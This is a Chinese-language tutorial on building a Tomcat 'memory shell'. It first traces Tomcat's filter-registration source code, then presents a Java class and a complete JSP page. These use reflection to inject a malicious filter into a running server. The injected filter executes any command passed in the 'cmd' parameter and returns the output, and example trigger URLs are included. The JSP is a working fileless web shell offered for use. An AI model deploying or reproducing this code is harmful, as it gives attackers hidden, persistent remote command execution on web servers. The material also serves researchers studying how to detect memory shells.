原文链接:手把手教你实现tomcat内存马
01内存马为什么要使用内存马 有哪些类型的内存马 如何编写内存马
为什么要使用内存马有哪些类型的内存马02Tomcat Filter内存马Filter是如何被创建的 Filter是如何被执行的 Filter是如何被销毁的(内存马暂时用不到)
Tomcat启动流程流程1.从webxml读取配置 2.将FilterDef加入context
- ContextConfig#configureContext
复制代码- for (FilterDef filter : webxml.getFilters().values()) {
- if (filter.getAsyncSupported() == null) {
- filter.setAsyncSupported("false");
- }
- context.addFilterDef(filter);
- }
复制代码 1.如果filterDef == null我们需要设置三个东西
- filterDef.setFilterName(filterName);
- filterDef.setFilterClass(filter.getClass().getName());
- filterDef.setFilter(filter);
- ApplicationContext
- FilterDef filterDef = context.findFilterDef(filterName);
- // Assume a 'complete' FilterRegistration is one that has a class and
- // a name
- if (filterDef == null) {
- filterDef = new FilterDef();
- filterDef.setFilterName(filterName);
- context.addFilterDef(filterDef);
- } else {
- if (filterDef.getFilterName() != null &&
- filterDef.getFilterClass() != null) {
- return null;
- }
- }
- if (filter == null) {
- filterDef.setFilterClass(filterClass);
- } else {
- filterDef.setFilterClass(filter.getClass().getName());
- filterDef.setFilter(filter);
- }
- ContextConfig#configureContext
- for (FilterMap filterMap : webxml.getFilterMappings()) {
- context.addFilterMap(filterMap);
- }
- ContextConfig#processAnnotationWebFilter
- FilterMap filterMap = new FilterMap();
复制代码
总结1.从web.xml中读取到tomcat filter配置信息 2.将过滤器类和name对应起来(FilterDef) 3.将URLPattern和name对应起来(FilterMap) 4.将FilterDef和FilterMap加入context
Tomcat Filter初始化流程
- StandardContext#filterStart
复制代码- ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
复制代码- filterConfigs.put(name, filterConfig);
复制代码- public boolean filterStart() {
- if (getLogger().isDebugEnabled()) {
- getLogger().debug("Starting filters");
- }
- // Instantiate and record a FilterConfig for each defined filter
- boolean ok = true;
- synchronized (filterConfigs) {
- filterConfigs.clear();
- for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
- String name = entry.getKey();
- if (getLogger().isDebugEnabled()) {
- getLogger().debug(" Starting filter '" + name + "'");
- }
- try {
- ApplicationFilterConfig filterConfig =
- new ApplicationFilterConfig(this, entry.getValue());
- filterConfigs.put(name, filterConfig);
- } catch (Throwable t) {
- t = ExceptionUtils.unwrapInvocationTargetException(t);
- ExceptionUtils.handleThrowable(t);
- getLogger().error(sm.getString(
- "standardContext.filterStart", name), t);
- ok = false;
- }
- }
- }
- return ok;
- }
复制代码
Tomcat Filter执行流程- @WebFilter(filterName = "testFilter",urlPatterns = "/*")
- public class MyFilterDemo1 implements Filter {
- @Override
- public void init(FilterConfig filterConfig) throws ServletException {
- System.out.println("filter init");
- }
- @Override
- public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
- System.out.println("do Filter");
- filterChain.doFilter(servletRequest, servletResponse);
- }
- @Override
- public void destroy() {
- }
- }
复制代码
分析internalDoFilter
创建一个FilterChain- ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
复制代码
创建过滤链:createFilterChain- public static ApplicationFilterChain createFilterChain(ServletRequest request,
- Wrapper wrapper, Servlet servlet) {
- // If there is no servlet to execute, return null
- if (servlet == null)
- return null;
- // Create and initialize a filter chain object
- ApplicationFilterChain filterChain = null;
- if (request instanceof Request) {
- Request req = (Request) request;
- if (Globals.IS_SECURITY_ENABLED) {
- // Security: Do not recycle
- filterChain = new ApplicationFilterChain();
- } else {
- filterChain = (ApplicationFilterChain) req.getFilterChain();
- if (filterChain == null) {
- filterChain = new ApplicationFilterChain();
- req.setFilterChain(filterChain);
- }
- }
- } else {
- // Request dispatcher in use
- filterChain = new ApplicationFilterChain();
- }
- filterChain.setServlet(servlet);
- filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
- // Acquire the filter mappings for this Context
- //获取此上下文的筛选器映射
- StandardContext context = (StandardContext) wrapper.getParent();
- FilterMap filterMaps[] = context.findFilterMaps();
- // If there are no filter mappings, we are done
- if ((filterMaps == null) || (filterMaps.length == 0))
- return (filterChain);
- // Acquire the information we will need to match filter mappings
- //获取匹配过滤器映射所需的信息
- DispatcherType dispatcher =
- (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
- String requestPath = null;
- Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
- if (attribute != null){
- requestPath = attribute.toString();
- }
- String servletName = wrapper.getName();
- // Add the relevant path-mapped filters to this filter chain
- //将相关路径映射筛选器添加到此筛选器链
- for (int i = 0; i < filterMaps.length; i++) {
- if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
- continue;
- }
- if (!matchFiltersURL(filterMaps[i], requestPath))
- continue;
- ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
- context.findFilterConfig(filterMaps[i].getFilterName());
- if (filterConfig == null) {
- // FIXME - log configuration problem
- continue;
- }
- filterChain.addFilter(filterConfig);
- }
- // Add filters that match on servlet name second
- //添加与servlet名称匹配的过滤器
- for (int i = 0; i < filterMaps.length; i++) {
- if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
- continue;
- }
- if (!matchFiltersServlet(filterMaps[i], servletName))
- continue;
- ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
- context.findFilterConfig(filterMaps[i].getFilterName());
- if (filterConfig == null) {
- // FIXME - log configuration problem
- continue;
- }
- filterChain.addFilter(filterConfig);
- }
- // Return the completed filter chain
- return filterChain;
- }
复制代码
03 Java代码实现伪代码
- package cn.jl.demo;
- import org.apache.catalina.Context;
- import org.apache.catalina.core.ApplicationFilterConfig;
- import org.apache.catalina.core.StandardContext;
- import org.apache.catalina.loader.WebappClassLoaderBase;
- import org.apache.tomcat.util.descriptor.web.FilterDef;
- import org.apache.tomcat.util.descriptor.web.FilterMap;
- import org.apache.tomcat.util.net.DispatchType;
- import javax.servlet.*;
- import javax.servlet.annotation.WebFilter;
- import java.io.IOException;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Field;
- import java.util.Map;
- @WebFilter("/*")
- public class MyFilterDemo implements Filter {
- static {
- try{
- final String name = "jl";
- final String URLPath = "/*";
- WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
- StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
- MyFilterDemo myFilterDemo = new MyFilterDemo();
- FilterDef filterDef = new FilterDef();
- filterDef.setFilter(myFilterDemo);
- filterDef.setFilterName(name);
- standardContext.addFilterDef(filterDef);
- }catch (Exception ex){
- ex.printStackTrace();
- }
- }
- @Override
- public void init(FilterConfig filterConfig) throws ServletException {
- }
- @Override
- public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
- System.out.println("Do Filter ......");
- String cmd;
- if ((cmd = servletRequest.getParameter("cmd")) != null) {
- Process process = Runtime.getRuntime().exec(cmd);
- java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
- new java.io.InputStreamReader(process.getInputStream()));
- StringBuilder stringBuilder = new StringBuilder();
- String line;
- while ((line = bufferedReader.readLine()) != null) {
- stringBuilder.append(line + '\n');
- }
- servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
- servletResponse.getOutputStream().flush();
- servletResponse.getOutputStream().close();
- return;
- }
- filterChain.doFilter(servletRequest, servletResponse);
- System.out.println("doFilter");
- }
- @Override
- public void destroy() {
- }
- }
复制代码- http://localhost:8080/xx.jsp?cmd=whoami
复制代码
04JSP代码分析 - <%@ page import="org.apache.catalina.core.ApplicationContext" %>
- <%@ page import="java.lang.reflect.Field" %>
- <%@ page import="org.apache.catalina.core.StandardContext" %>
- <%@ page import="java.util.Map" %>
- <%@ page import="java.io.IOException" %>
- <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
- <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
- <%@ page import="java.lang.reflect.Constructor" %>
- <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
- <%@ page import="org.apache.catalina.Context" %>
- <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
- <%
- //设置<filter-name>
- final String name = "jl";
- //获取filterConfigs
- ServletContext servletContext = request.getSession().getServletContext();
- Field appctx = servletContext.getClass().getDeclaredField("context");
- appctx.setAccessible(true);
- ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
- Field stdctx = applicationContext.getClass().getDeclaredField("context");
- stdctx.setAccessible(true);
- StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
- Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
- Configs.setAccessible(true);
- Map filterConfigs = (Map) Configs.get(standardContext);
- if (filterConfigs.get(name) == null) {
- //这里实现filter
- Filter filter = new Filter() {
- @Override
- public void init(FilterConfig filterConfig) throws ServletException {
- }
- @Override
- public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
- System.out.println("Do Filter ......");
- String cmd;
- if ((cmd = servletRequest.getParameter("cmd")) != null) {
- Process process = Runtime.getRuntime().exec(cmd);
- java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
- new java.io.InputStreamReader(process.getInputStream()));
- StringBuilder stringBuilder = new StringBuilder();
- String line;
- while ((line = bufferedReader.readLine()) != null) {
- stringBuilder.append(line + '\n');
- }
- servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
- servletResponse.getOutputStream().flush();
- servletResponse.getOutputStream().close();
- return;
- }
- filterChain.doFilter(servletRequest, servletResponse);
- System.out.println("doFilter");
- }
- @Override
- public void destroy() {
- }
- };
- //设置FilterDef
- FilterDef filterDef = new FilterDef();
- filterDef.setFilter(filter);
- filterDef.setFilterName(name);
- filterDef.setFilterClass(filter.getClass().getName());
-
- //设置FilterMap
- FilterMap filterMap = new FilterMap();
- filterMap.addURLPattern("/*");
- filterMap.setFilterName(name);
- filterMap.setDispatcher(DispatcherType.REQUEST.name());
-
-
- standardContext.addFilterDef(filterDef);
- standardContext.addFilterMapBefore(filterMap);
-
- //将FilterConfig加入FilterConfigs中
- Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
- constructor.setAccessible(true);
- ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
- filterConfigs.put(name, filterConfig);
- }
- %>
复制代码
http://localhost/filter.jsp http://localhost/1.jsp?cmd=whoami 参考链接
https://xz.aliyun.com/t/10362#toc-6 https://xz.aliyun.com/t/10696
|